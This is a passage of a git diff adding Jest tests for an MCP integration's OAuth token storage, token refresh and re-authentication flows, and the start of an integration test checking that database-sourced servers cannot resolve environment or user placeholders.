+      await flowManager.initFlow(flowId, 'mcp_oauth', {
+        serverName: 'test-server',
+        userId: 'user1',
+        serverUrl: 'https://example.com',
+        state: 'test-state',
+        authorizationUrl: 'https://example.com/authorize?state=user1:test-server',
+      });
+
+      const state = await flowManager.getFlowState(flowId, 'mcp_oauth');
+      expect(state?.status).toBe('PENDING');
+
+      const tokens: MCPOAuthTokens = {
+        access_token: 'new-access-token',
+        token_type: 'Bearer',
+        refresh_token: 'new-refresh-token',
+        obtained_at: Date.now(),
+        expires_at: Date.now() + 3600000,
+      };
+
+      const completed = await flowManager.completeFlow(flowId, 'mcp_oauth', tokens);
+      expect(completed).toBe(true);
+
+      const completedState = await flowManager.getFlowState(flowId, 'mcp_oauth');
+      expect(completedState?.status).toBe('COMPLETED');
+      expect((completedState?.result as MCPOAuthTokens | undefined)?.access_token).toBe(
+        'new-access-token',
+      );
+    });
+
+    it('should store authorizationUrl in flow metadata for re-issuance', async () => {
+      const store = new MockKeyv<MCPOAuthTokens | null>();
+      const flowManager = new FlowStateManager(store as unknown as Keyv, {
+        ttl: 30000,
+        ci: true,
+      });
+
+      const flowId = 'user1:test-server';
+      const authUrl = 'https://auth.example.com/authorize?client_id=abc&state=user1:test-server';
+
+      await flowManager.initFlow(flowId, 'mcp_oauth', {
+        serverName: 'test-server',
+        userId: 'user1',
+        serverUrl: 'https://example.com',
+        state: 'test-state',
+        authorizationUrl: authUrl,
+      });
+
+      const state = await flowManager.getFlowState(flowId, 'mcp_oauth');
+      expect((state?.metadata as Record<string, unknown>)?.authorizationUrl).toBe(authUrl);
+    });
+  });
+
+  describe('Full token expiry → refresh failure → re-auth flow', () => {
+    let server: OAuthTestServer;
+    let tokenStore: InMemoryTokenStore;
+
+    beforeEach(async () => {
+      server = await createOAuthMCPServer({
+        tokenTTLMs: 60000,
+        issueRefreshTokens: true,
+      });
+      tokenStore = new InMemoryTokenStore();
+    });
+
+    afterEach(async () => {
+      await server.close();
+    });
+
+    it('should go through full cycle: get tokens → expire → refresh fails → re-auth needed', async () => {
+      // Step 1: Get initial tokens
+      const code = await server.getAuthCode();
+      const tokenRes = await fetch(`${server.url}token`, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+        body: `grant_type=authorization_code&code=${code}`,
+      });
+      const initial = (await tokenRes.json()) as {
+        access_token: string;
+        token_type: string;
+        expires_in: number;
+        refresh_token: string;
+      };
+
+      // Step 2: Store tokens with valid expiry first
+      await MCPTokenStorage.storeTokens({
+        userId: 'u1',
+        serverName: 'test-srv',
+        tokens: initial,
+        createToken: tokenStore.createToken,
+      });
+
+      // Step 3: Verify tokens work
+      const validResult = await MCPTokenStorage.getTokens({
+        userId: 'u1',
+        serverName: 'test-srv',
+        findToken: tokenStore.findToken,
+      });
+      expect(validResult).not.toBeNull();
+      expect(validResult!.access_token).toBe(initial.access_token);
+
+      // Step 4: Simulate token expiry by directly updating the stored token's expiresAt
+      await tokenStore.updateToken({ userId: 'u1', identifier: 'mcp:test-srv' }, { expiresIn: -1 });
+
+      // Step 5: Revoke refresh token on server side (simulating server-side revocation)
+      server.issuedRefreshTokens.clear();
+
+      // Step 6: Try to get tokens — refresh should fail, return null
+      const refreshCallback = async (refreshToken: string): Promise<MCPOAuthTokens> => {
+        const res = await fetch(`${server.url}token`, {
+          method: 'POST',
+          headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+          body: `grant_type=refresh_token&refresh_token=${refreshToken}`,
+        });
+        if (!res.ok) {
+          const body = (await res.json()) as { error: string };
+          throw new Error(`Refresh failed: ${body.error}`);
+        }
+        const data = (await res.json()) as MCPOAuthTokens;
+        return data;
+      };
+
+      const expiredResult = await MCPTokenStorage.getTokens({
+        userId: 'u1',
+        serverName: 'test-srv',
+        findToken: tokenStore.findToken,
+        createToken: tokenStore.createToken,
+        updateToken: tokenStore.updateToken,
+        refreshTokens: refreshCallback,
+      });
+
+      // Refresh failed → returns null → triggers OAuth re-auth flow
+      expect(expiredResult).toBeNull();
+
+      // Step 7: Simulate the re-auth flow via FlowStateManager
+      const flowStore = new MockKeyv<MCPOAuthTokens | null>();
+      const flowManager = new FlowStateManager(flowStore as unknown as Keyv, {
+        ttl: 30000,
+        ci: true,
+      });
+      const flowId = 'u1:test-srv';
+
+      await flowManager.initFlow(flowId, 'mcp_oauth', {
+        serverName: 'test-srv',
+        userId: 'u1',
+        serverUrl: server.url,
+        state: 'test-state',
+        authorizationUrl: `${server.url}authorize?state=${flowId}`,
+      });
+
+      // Step 8: Get a new auth code and exchange for tokens (simulating user re-auth)
+      const newCode = await server.getAuthCode();
+      const newTokenRes = await fetch(`${server.url}token`, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+        body: `grant_type=authorization_code&code=${newCode}`,
+      });
+      const newTokens = (await newTokenRes.json()) as {
+        access_token: string;
+        token_type: string;
+        expires_in: number;
+        refresh_token?: string;
+      };
+
+      // Step 9: Complete the flow
+      const mcpTokens: MCPOAuthTokens = {
+        ...newTokens,
+        obtained_at: Date.now(),
+        expires_at: Date.now() + newTokens.expires_in * 1000,
+      };
+      await flowManager.completeFlow(flowId, 'mcp_oauth', mcpTokens);
+
+      // Step 10: Store the new tokens
+      await MCPTokenStorage.storeTokens({
+        userId: 'u1',
+        serverName: 'test-srv',
+        tokens: mcpTokens,
+        createToken: tokenStore.createToken,
+        updateToken: tokenStore.updateToken,
+        findToken: tokenStore.findToken,
+      });
+
+      // Step 11: Verify new tokens work
+      const newResult = await MCPTokenStorage.getTokens({
+        userId: 'u1',
+        serverName: 'test-srv',
+        findToken: tokenStore.findToken,
+      });
+      expect(newResult).not.toBeNull();
+      expect(newResult!.access_token).toBe(newTokens.access_token);
+
+      // Step 12: Verify new token works against server
+      const finalMcpRes = await fetch(server.url, {
+        method: 'POST',
+        headers: {
+          'Content-Type': 'application/json',
+          Accept: 'application/json, text/event-stream',
+          Authorization: `Bearer ${newResult!.access_token}`,
+        },
+        body: JSON.stringify({
+          jsonrpc: '2.0',
+          method: 'initialize',
+          id: 1,
+          params: {
+            protocolVersion: '2025-03-26',
+            capabilities: {},
+            clientInfo: { name: 'test', version: '0.0.1' },
+          },
+        }),
+      });
+      expect(finalMcpRes.status).toBe(200);
+    });
+  });
+
+  describe('Concurrent token expiry with connection mutex', () => {
+    it('should handle multiple concurrent getTokens calls when token is expired', async () => {
+      const tokenStore = new InMemoryTokenStore();
+
+      await tokenStore.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:test-srv',
+        token: 'enc:expired-token',
+        expiresIn: -1,
+      });
+      await tokenStore.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth_refresh',
+        identifier: 'mcp:test-srv:refresh',
+        token: 'enc:valid-refresh',
+        expiresIn: 86400,
+      });
+
+      let refreshCallCount = 0;
+      const refreshCallback = jest.fn().mockImplementation(async () => {
+        refreshCallCount++;
+        await new Promise((r) => setTimeout(r, 100));
+        return {
+          access_token: `refreshed-token-${refreshCallCount}`,
+          token_type: 'Bearer',
+          expires_in: 3600,
+          obtained_at: Date.now(),
+          expires_at: Date.now() + 3600000,
+        };
+      });
+
+      // Fire 3 concurrent getTokens calls via FlowStateManager (like the connection mutex does)
+      const flowStore = new MockKeyv<MCPOAuthTokens | null>();
+      const flowManager = new FlowStateManager(flowStore as unknown as Keyv, {
+        ttl: 30000,
+        ci: true,
+      });
+
+      const getTokensViaFlow = () =>
+        flowManager.createFlowWithHandler('u1:test-srv', 'mcp_get_tokens', async () => {
+          return await MCPTokenStorage.getTokens({
+            userId: 'u1',
+            serverName: 'test-srv',
+            findToken: tokenStore.findToken,
+            createToken: tokenStore.createToken,
+            updateToken: tokenStore.updateToken,
+            refreshTokens: refreshCallback,
+          });
+        });
+
+      const [r1, r2, r3] = await Promise.all([
+        getTokensViaFlow(),
+        getTokensViaFlow(),
+        getTokensViaFlow(),
+      ]);
+
+      // All should get tokens (either directly or via flow coalescing)
+      expect(r1).not.toBeNull();
+      expect(r2).not.toBeNull();
+      expect(r3).not.toBeNull();
+
+      // The refresh callback should only be called once due to flow coalescing
+      expect(refreshCallback).toHaveBeenCalledTimes(1);
+    });
+  });
+
+  describe('Stale PENDING flow detection', () => {
+    it('should treat PENDING flows older than 2 minutes as stale', async () => {
+      const flowStore = new MockKeyv<MCPOAuthTokens | null>();
+      const flowManager = new FlowStateManager(flowStore as unknown as Keyv, {
+        ttl: 300000,
+        ci: true,
+      });
+
+      const flowId = 'user1:test-server';
+      await flowManager.initFlow(flowId, 'mcp_oauth', {
+        serverName: 'test-server',
+        authorizationUrl: 'https://example.com/auth',
+      });
+
+      // Manually age the flow to 3 minutes
+      const state = await flowManager.getFlowState(flowId, 'mcp_oauth');
+      if (state) {
+        state.createdAt = Date.now() - 3 * 60 * 1000;
+        await (flowStore as unknown as { set: (k: string, v: unknown) => Promise<void> }).set(
+          `mcp_oauth:${flowId}`,
+          state,
+        );
+      }
+
+      const agedState = await flowManager.getFlowState(flowId, 'mcp_oauth');
+      expect(agedState?.status).toBe('PENDING');
+
+      const age = agedState?.createdAt ? Date.now() - agedState.createdAt : 0;
+      expect(age).toBeGreaterThan(2 * 60 * 1000);
+
+      // A new flow should be created (the stale one would be deleted + recreated)
+      // This verifies our staleness check threshold
+      expect(age > PENDING_STALE_MS).toBe(true);
+    });
+
+    it('should not treat recent PENDING flows as stale', async () => {
+      const flowStore = new MockKeyv<MCPOAuthTokens | null>();
+      const flowManager = new FlowStateManager(flowStore as unknown as Keyv, {
+        ttl: 300000,
+        ci: true,
+      });
+
+      const flowId = 'user1:test-server';
+      await flowManager.initFlow(flowId, 'mcp_oauth', {
+        serverName: 'test-server',
+        authorizationUrl: 'https://example.com/auth',
+      });
+
+      const state = await flowManager.getFlowState(flowId, 'mcp_oauth');
+      const age = state?.createdAt ? Date.now() - state.createdAt : Infinity;
+
+      expect(age < PENDING_STALE_MS).toBe(true);
+    });
+  });
+});
diff --git a/packages/api/src/mcp/__tests__/MCPOAuthTokenStorage.test.ts b/packages/api/src/mcp/__tests__/MCPOAuthTokenStorage.test.ts
new file mode 100644
index 0000000000..3805586453
--- /dev/null
+++ b/packages/api/src/mcp/__tests__/MCPOAuthTokenStorage.test.ts
@@ -0,0 +1,544 @@
+/**
+ * Integration tests for MCPTokenStorage.storeTokens() and MCPTokenStorage.getTokens().
+ *
+ * Uses InMemoryTokenStore to exercise encrypt/decrypt round-trips, expiry calculation,
+ * refresh callback wiring, and ReauthenticationRequiredError paths.
+ */
+
+import { MCPTokenStorage, ReauthenticationRequiredError } from '~/mcp/oauth';
+import { InMemoryTokenStore } from './helpers/oauthTestServer';
+
+jest.mock('@librechat/data-schemas', () => ({
+  logger: {
+    info: jest.fn(),
+    warn: jest.fn(),
+    error: jest.fn(),
+    debug: jest.fn(),
+  },
+  encryptV2: jest.fn(async (val: string) => `enc:${val}`),
+  decryptV2: jest.fn(async (val: string) => val.replace(/^enc:/, '')),
+}));
+
+describe('MCPTokenStorage', () => {
+  let store: InMemoryTokenStore;
+
+  beforeEach(() => {
+    store = new InMemoryTokenStore();
+    jest.clearAllMocks();
+  });
+
+  describe('storeTokens', () => {
+    it('should create new access token with expires_in', async () => {
+      await MCPTokenStorage.storeTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        tokens: { access_token: 'at1', token_type: 'Bearer', expires_in: 3600 },
+        createToken: store.createToken,
+      });
+
+      const saved = await store.findToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:srv1',
+      });
+      expect(saved).not.toBeNull();
+      expect(saved!.token).toBe('enc:at1');
+      const expiresInMs = saved!.expiresAt.getTime() - Date.now();
+      expect(expiresInMs).toBeGreaterThan(3500 * 1000);
+      expect(expiresInMs).toBeLessThanOrEqual(3600 * 1000);
+    });
+
+    it('should create new access token with expires_at (MCPOAuthTokens format)', async () => {
+      const expiresAt = Date.now() + 7200 * 1000;
+      await MCPTokenStorage.storeTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        tokens: {
+          access_token: 'at1',
+          token_type: 'Bearer',
+          expires_at: expiresAt,
+          obtained_at: Date.now(),
+        },
+        createToken: store.createToken,
+      });
+
+      const saved = await store.findToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:srv1',
+      });
+      expect(saved).not.toBeNull();
+      const diff = Math.abs(saved!.expiresAt.getTime() - expiresAt);
+      expect(diff).toBeLessThan(2000);
+    });
+
+    it('should default to 1-year expiry when none provided', async () => {
+      await MCPTokenStorage.storeTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        tokens: { access_token: 'at1', token_type: 'Bearer' },
+        createToken: store.createToken,
+      });
+
+      const saved = await store.findToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:srv1',
+      });
+      const oneYearMs = 365 * 24 * 60 * 60 * 1000;
+      const expiresInMs = saved!.expiresAt.getTime() - Date.now();
+      expect(expiresInMs).toBeGreaterThan(oneYearMs - 5000);
+    });
+
+    it('should update existing access token', async () => {
+      await store.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:srv1',
+        token: 'enc:old-token',
+        expiresIn: 3600,
+      });
+
+      await MCPTokenStorage.storeTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        tokens: { access_token: 'new-token', token_type: 'Bearer', expires_in: 7200 },
+        createToken: store.createToken,
+        updateToken: store.updateToken,
+        findToken: store.findToken,
+      });
+
+      const saved = await store.findToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:srv1',
+      });
+      expect(saved!.token).toBe('enc:new-token');
+    });
+
+    it('should store refresh token alongside access token', async () => {
+      await MCPTokenStorage.storeTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        tokens: {
+          access_token: 'at1',
+          token_type: 'Bearer',
+          expires_in: 3600,
+          refresh_token: 'rt1',
+        },
+        createToken: store.createToken,
+      });
+
+      const refreshSaved = await store.findToken({
+        userId: 'u1',
+        type: 'mcp_oauth_refresh',
+        identifier: 'mcp:srv1:refresh',
+      });
+      expect(refreshSaved).not.toBeNull();
+      expect(refreshSaved!.token).toBe('enc:rt1');
+    });
+
+    it('should skip refresh token when not in response', async () => {
+      await MCPTokenStorage.storeTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        tokens: { access_token: 'at1', token_type: 'Bearer', expires_in: 3600 },
+        createToken: store.createToken,
+      });
+
+      const refreshSaved = await store.findToken({
+        userId: 'u1',
+        type: 'mcp_oauth_refresh',
+        identifier: 'mcp:srv1:refresh',
+      });
+      expect(refreshSaved).toBeNull();
+    });
+
+    it('should store client info when provided', async () => {
+      await MCPTokenStorage.storeTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        tokens: { access_token: 'at1', token_type: 'Bearer', expires_in: 3600 },
+        createToken: store.createToken,
+        clientInfo: { client_id: 'cid', client_secret: 'csec', redirect_uris: [] },
+      });
+
+      const clientSaved = await store.findToken({
+        userId: 'u1',
+        type: 'mcp_oauth_client',
+        identifier: 'mcp:srv1:client',
+      });
+      expect(clientSaved).not.toBeNull();
+      expect(clientSaved!.token).toContain('enc:');
+      expect(clientSaved!.token).toContain('cid');
+    });
+
+    it('should use existingTokens to skip DB lookups', async () => {
+      const findSpy = jest.fn();
+
+      await MCPTokenStorage.storeTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        tokens: { access_token: 'at1', token_type: 'Bearer', expires_in: 3600 },
+        createToken: store.createToken,
+        updateToken: store.updateToken,
+        findToken: findSpy,
+        existingTokens: {
+          accessToken: null,
+          refreshToken: null,
+          clientInfoToken: null,
+        },
+      });
+
+      expect(findSpy).not.toHaveBeenCalled();
+    });
+
+    it('should handle invalid NaN expiry date', async () => {
+      await MCPTokenStorage.storeTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        tokens: {
+          access_token: 'at1',
+          token_type: 'Bearer',
+          expires_at: NaN,
+          obtained_at: Date.now(),
+        },
+        createToken: store.createToken,
+      });
+
+      const saved = await store.findToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:srv1',
+      });
+      expect(saved).not.toBeNull();
+      const oneYearMs = 365 * 24 * 60 * 60 * 1000;
+      const expiresInMs = saved!.expiresAt.getTime() - Date.now();
+      expect(expiresInMs).toBeGreaterThan(oneYearMs - 5000);
+    });
+  });
+
+  describe('getTokens', () => {
+    it('should return valid non-expired tokens', async () => {
+      await store.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:srv1',
+        token: 'enc:valid-token',
+        expiresIn: 3600,
+      });
+
+      const result = await MCPTokenStorage.getTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        findToken: store.findToken,
+      });
+
+      expect(result).not.toBeNull();
+      expect(result!.access_token).toBe('valid-token');
+      expect(result!.token_type).toBe('Bearer');
+    });
+
+    it('should return tokens with refresh token when available', async () => {
+      await store.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:srv1',
+        token: 'enc:at',
+        expiresIn: 3600,
+      });
+      await store.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth_refresh',
+        identifier: 'mcp:srv1:refresh',
+        token: 'enc:rt',
+        expiresIn: 86400,
+      });
+
+      const result = await MCPTokenStorage.getTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        findToken: store.findToken,
+      });
+
+      expect(result!.refresh_token).toBe('rt');
+    });
+
+    it('should return tokens without refresh token field when none stored', async () => {
+      await store.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:srv1',
+        token: 'enc:at',
+        expiresIn: 3600,
+      });
+
+      const result = await MCPTokenStorage.getTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        findToken: store.findToken,
+      });
+
+      expect(result!.refresh_token).toBeUndefined();
+    });
+
+    it('should throw ReauthenticationRequiredError when expired and no refresh', async () => {
+      await store.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:srv1',
+        token: 'enc:expired-token',
+        expiresIn: -1,
+      });
+
+      await expect(
+        MCPTokenStorage.getTokens({
+          userId: 'u1',
+          serverName: 'srv1',
+          findToken: store.findToken,
+        }),
+      ).rejects.toThrow(ReauthenticationRequiredError);
+    });
+
+    it('should throw ReauthenticationRequiredError when missing and no refresh', async () => {
+      await expect(
+        MCPTokenStorage.getTokens({
+          userId: 'u1',
+          serverName: 'srv1',
+          findToken: store.findToken,
+        }),
+      ).rejects.toThrow(ReauthenticationRequiredError);
+    });
+
+    it('should refresh expired access token when refresh token and callback are available', async () => {
+      await store.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:srv1',
+        token: 'enc:expired-token',
+        expiresIn: -1,
+      });
+      await store.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth_refresh',
+        identifier: 'mcp:srv1:refresh',
+        token: 'enc:rt',
+        expiresIn: 86400,
+      });
+
+      const refreshTokens = jest.fn().mockResolvedValue({
+        access_token: 'refreshed-at',
+        token_type: 'Bearer',
+        expires_in: 3600,
+        obtained_at: Date.now(),
+        expires_at: Date.now() + 3600000,
+      });
+
+      const result = await MCPTokenStorage.getTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        findToken: store.findToken,
+        createToken: store.createToken,
+        updateToken: store.updateToken,
+        refreshTokens,
+      });
+
+      expect(result).not.toBeNull();
+      expect(result!.access_token).toBe('refreshed-at');
+      expect(refreshTokens).toHaveBeenCalledWith(
+        'rt',
+        expect.objectContaining({ userId: 'u1', serverName: 'srv1' }),
+      );
+    });
+
+    it('should return null when refresh fails', async () => {
+      await store.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:srv1',
+        token: 'enc:expired-token',
+        expiresIn: -1,
+      });
+      await store.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth_refresh',
+        identifier: 'mcp:srv1:refresh',
+        token: 'enc:rt',
+        expiresIn: 86400,
+      });
+
+      const refreshTokens = jest.fn().mockRejectedValue(new Error('refresh failed'));
+
+      const result = await MCPTokenStorage.getTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        findToken: store.findToken,
+        createToken: store.createToken,
+        updateToken: store.updateToken,
+        refreshTokens,
+      });
+
+      expect(result).toBeNull();
+    });
+
+    it('should return null when no refreshTokens callback provided', async () => {
+      await store.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:srv1',
+        token: 'enc:expired-token',
+        expiresIn: -1,
+      });
+      await store.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth_refresh',
+        identifier: 'mcp:srv1:refresh',
+        token: 'enc:rt',
+        expiresIn: 86400,
+      });
+
+      const result = await MCPTokenStorage.getTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        findToken: store.findToken,
+      });
+
+      expect(result).toBeNull();
+    });
+
+    it('should return null when no createToken callback provided', async () => {
+      await store.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:srv1',
+        token: 'enc:expired-token',
+        expiresIn: -1,
+      });
+      await store.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth_refresh',
+        identifier: 'mcp:srv1:refresh',
+        token: 'enc:rt',
+        expiresIn: 86400,
+      });
+
+      const result = await MCPTokenStorage.getTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        findToken: store.findToken,
+        refreshTokens: jest.fn(),
+      });
+
+      expect(result).toBeNull();
+    });
+
+    it('should pass client info to refreshTokens metadata', async () => {
+      await store.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:srv1',
+        token: 'enc:expired-token',
+        expiresIn: -1,
+      });
+      await store.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth_refresh',
+        identifier: 'mcp:srv1:refresh',
+        token: 'enc:rt',
+        expiresIn: 86400,
+      });
+      await store.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth_client',
+        identifier: 'mcp:srv1:client',
+        token: 'enc:{"client_id":"cid","client_secret":"csec"}',
+        expiresIn: 86400,
+      });
+
+      const refreshTokens = jest.fn().mockResolvedValue({
+        access_token: 'new-at',
+        token_type: 'Bearer',
+        expires_in: 3600,
+      });
+
+      await MCPTokenStorage.getTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        findToken: store.findToken,
+        createToken: store.createToken,
+        updateToken: store.updateToken,
+        refreshTokens,
+      });
+
+      expect(refreshTokens).toHaveBeenCalledWith(
+        'rt',
+        expect.objectContaining({
+          clientInfo: expect.objectContaining({ client_id: 'cid' }),
+        }),
+      );
+    });
+
+    it('should handle unauthorized_client refresh error', async () => {
+      const { logger } = await import('@librechat/data-schemas');
+
+      await store.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:srv1',
+        token: 'enc:expired-token',
+        expiresIn: -1,
+      });
+      await store.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth_refresh',
+        identifier: 'mcp:srv1:refresh',
+        token: 'enc:rt',
+        expiresIn: 86400,
+      });
+
+      const refreshTokens = jest.fn().mockRejectedValue(new Error('unauthorized_client'));
+
+      const result = await MCPTokenStorage.getTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        findToken: store.findToken,
+        createToken: store.createToken,
+        refreshTokens,
+      });
+
+      expect(result).toBeNull();
+      expect(logger.info).toHaveBeenCalledWith(
+        expect.stringContaining('does not support refresh tokens'),
+      );
+    });
+  });
+
+  describe('storeTokens + getTokens round-trip', () => {
+    it('should store and retrieve tokens with full encrypt/decrypt cycle', async () => {
+      await MCPTokenStorage.storeTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        tokens: {
+          access_token: 'my-access-token',
+          token_type: 'Bearer',
+          expires_in: 3600,
+          refresh_token: 'my-refresh-token',
+        },
+        createToken: store.createToken,
+        clientInfo: { client_id: 'cid', client_secret: 'sec', redirect_uris: [] },
+      });
+
+      const result = await MCPTokenStorage.getTokens({
+        userId: 'u1',
+        serverName: 'srv1',
+        findToken: store.findToken,
+      });
+
+      expect(result!.access_token).toBe('my-access-token');
+      expect(result!.refresh_token).toBe('my-refresh-token');
+      expect(result!.token_type).toBe('Bearer');
+      expect(result!.obtained_at).toBeDefined();
+      expect(result!.expires_at).toBeDefined();
+    });
+  });
+});
diff --git a/packages/api/src/mcp/__tests__/dbSourced.integration.test.ts b/packages/api/src/mcp/__tests__/dbSourced.integration.test.ts
new file mode 100644
index 0000000000..5866fa1a08
--- /dev/null
+++ b/packages/api/src/mcp/__tests__/dbSourced.integration.test.ts
@@ -0,0 +1,517 @@
+/**
+ * Integration tests for the `dbSourced` security boundary.
+ *
+ * These tests spin up real in-process MCP servers using the SDK's
+ * StreamableHTTPServerTransport, then exercise the full
+ * processMCPEnv → MCPConnection → HTTP request pipeline to verify:
+ *
+ * 1. DB-sourced servers resolve `{{MCP_API_KEY}}` via customUserVars.
+ * 2. DB-sourced servers do NOT leak `${ENV_VAR}` from process.env.
+ * 3. DB-sourced servers do NOT resolve `{{LIBRECHAT_USER_*}}` placeholders.
+ * 4. DB-sourced servers do NOT resolve `{{LIBRECHAT_BODY_*}}` placeholders.
+ * 5. YAML-sourced servers (dbSourced=false) resolve ALL placeholder types.
+ * 6. Mixed headers: some placeholders resolve, others are blocked.
+ */
+
+import * as net from 'net';
+import * as http from 'http';
+import { Agent } from 'undici';
+import { Types } from 'mongoose';
+import { randomUUID } from 'crypto';
+import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';
+import { StreamableHTTPServerTransport } from '@modelcontextprotocol/sdk/server/streamableHttp.js';
+import type { MCPOptions } from 'librechat-data-provider';
+import type { IUser } from '@librechat/data-schemas';
+import type { Socket } from 'net';
+import { MCPConnection } from '~/mcp/connection';
+import { processMCPEnv } from '~/utils/env';
+
+jest.mock('@librechat/data-schemas', () => ({
+  logger: {
+    info: jest.fn(),
+    warn: jest.fn(),
+    error: jest.fn(),
+    debug: jest.fn(),
+  },
+}));
+
+jest.mock('~/auth', () => ({
+  createSSRFSafeUndiciConnect: jest.fn(() => undefined),
+  resolveHostnameSSRF: jest.fn(async () => false),
+}));
+
+jest.mock('~/mcp/mcpConfig', () => ({
+  mcpConfig: { CONNECTION_CHECK_TTL: 0 },
+}));
+
+/** Track all Agents for cleanup */
+const allAgentsCreated: Agent[] = [];
+const OriginalAgent = Agent;
+const PatchedAgent = new Proxy(OriginalAgent, {
+  construct(target, args) {
+    const instance = new target(...(args as [Agent.Options?]));
+    allAgentsCreated.push(instance);
+    return instance;
+  },
+});
+(global as Record<string, unknown>).__undiciAgent = PatchedAgent;
+
+afterAll(async () => {
+  const destroying = allAgentsCreated.map((a) => {
+    if (!a.destroyed && !a.closed) {
+      return a.destroy().catch(() => undefined);
+    }
+    return Promise.resolve();
+  });
+  allAgentsCreated.length = 0;
+  await Promise.all(destroying);
+});
+
+async function safeDisconnect(conn: MCPConnection | null): Promise<void> {
+  if (!conn) return;
+  (conn as unknown as { shouldStopReconnecting: boolean }).shouldStopReconnecting = true;
+  conn.removeAllListeners();
+  await conn.disconnect();
+}
+
+function getFreePort(): Promise<number> {
+  return new Promise((resolve, reject) => {
+    const srv = net.createServer();
+    srv.listen(0, '127.0.0.1', () => {
+      const addr = srv.address() as net.AddressInfo;
+      srv.close((err) => (err ? reject(err) : resolve(addr.port)));
+    });
+  });
+}
+
+function trackSockets(httpServer: http.Server): () => Promise<void> {
+  const sockets = new Set<Socket>();
+  httpServer.on('connection', (socket: Socket) => {
+    sockets.add(socket);
+    socket.once('close', () => sockets.delete(socket));
+  });
+  return () =>
+    new Promise<void>((resolve) => {
+      for (const socket of sockets) socket.destroy();
+      sockets.clear();
+      httpServer.close(() => resolve());
+    });
+}
+
+interface TestServer {
+  url: string;
+  close: () => Promise<void>;
+  /** Returns the most recently captured request headers */
+  getLastHeaders: () => Record<string, string>;
+}
+
+function createTestUser(overrides: Partial<IUser> = {}): IUser {
+  return {
+    _id: new Types.ObjectId(),
+    id: new Types.ObjectId().toString(),
+    username: 'testuser',
+    email: 'test@example.com',
+    name: 'Test User',
+    avatar: 'https://example.com/avatar.png',
+    provider: 'email',
+    role: 'user',
+    createdAt: new Date('2021-01-01'),
+    updatedAt: new Date('2021-01-01'),
+    emailVerified: true,
+    ...overrides,
+  } as IUser;
+}
+
+/**
+ * Creates a Streamable HTTP MCP server that captures incoming request headers.
+ * The server registers a dummy tool so `fetchTools()` makes a real request
+ * through the transport, allowing us to capture the headers from that request.
+ */
+async function createHeaderCapturingServer(): Promise<TestServer> {
+  const sessions = new Map<string, StreamableHTTPServerTransport>();
+  let lastHeaders: Record<string, string> = {};
+
+  const httpServer = http.createServer(async (req, res) => {
+    // Capture headers from every POST request (the tool-listing / tool-call requests)
+    if (req.method === 'POST') {
+      lastHeaders = {};
+      for (const [key, value] of Object.entries(req.headers)) {
+        if (typeof value === 'string') {
+          lastHeaders[key] = value;
+        } else if (Array.isArray(value)) {
+          lastHeaders[key] = value.join(', ');
+        }
+      }
+    }
+
+    const sid = req.headers['mcp-session-id'] as string | undefined;
+    let transport = sid ? sessions.get(sid) : undefined;
+
+    if (!transport) {
+      transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID() });
+      const mcp = new McpServer({ name: 'header-capture-server', version: '0.0.1' });
+      mcp.tool('echo', 'Echo tool for testing', {}, async () => ({
+        content: [{ type: 'text', text: 'ok' }],
+      }));
+      await mcp.connect(transport);
+    }
+
+    await transport.handleRequest(req, res);
+
+    if (transport.sessionId && !sessions.has(transport.sessionId)) {
+      sessions.set(transport.sessionId, transport);
+      transport.onclose = () => sessions.delete(transport!.sessionId!);
+    }
+  });
+
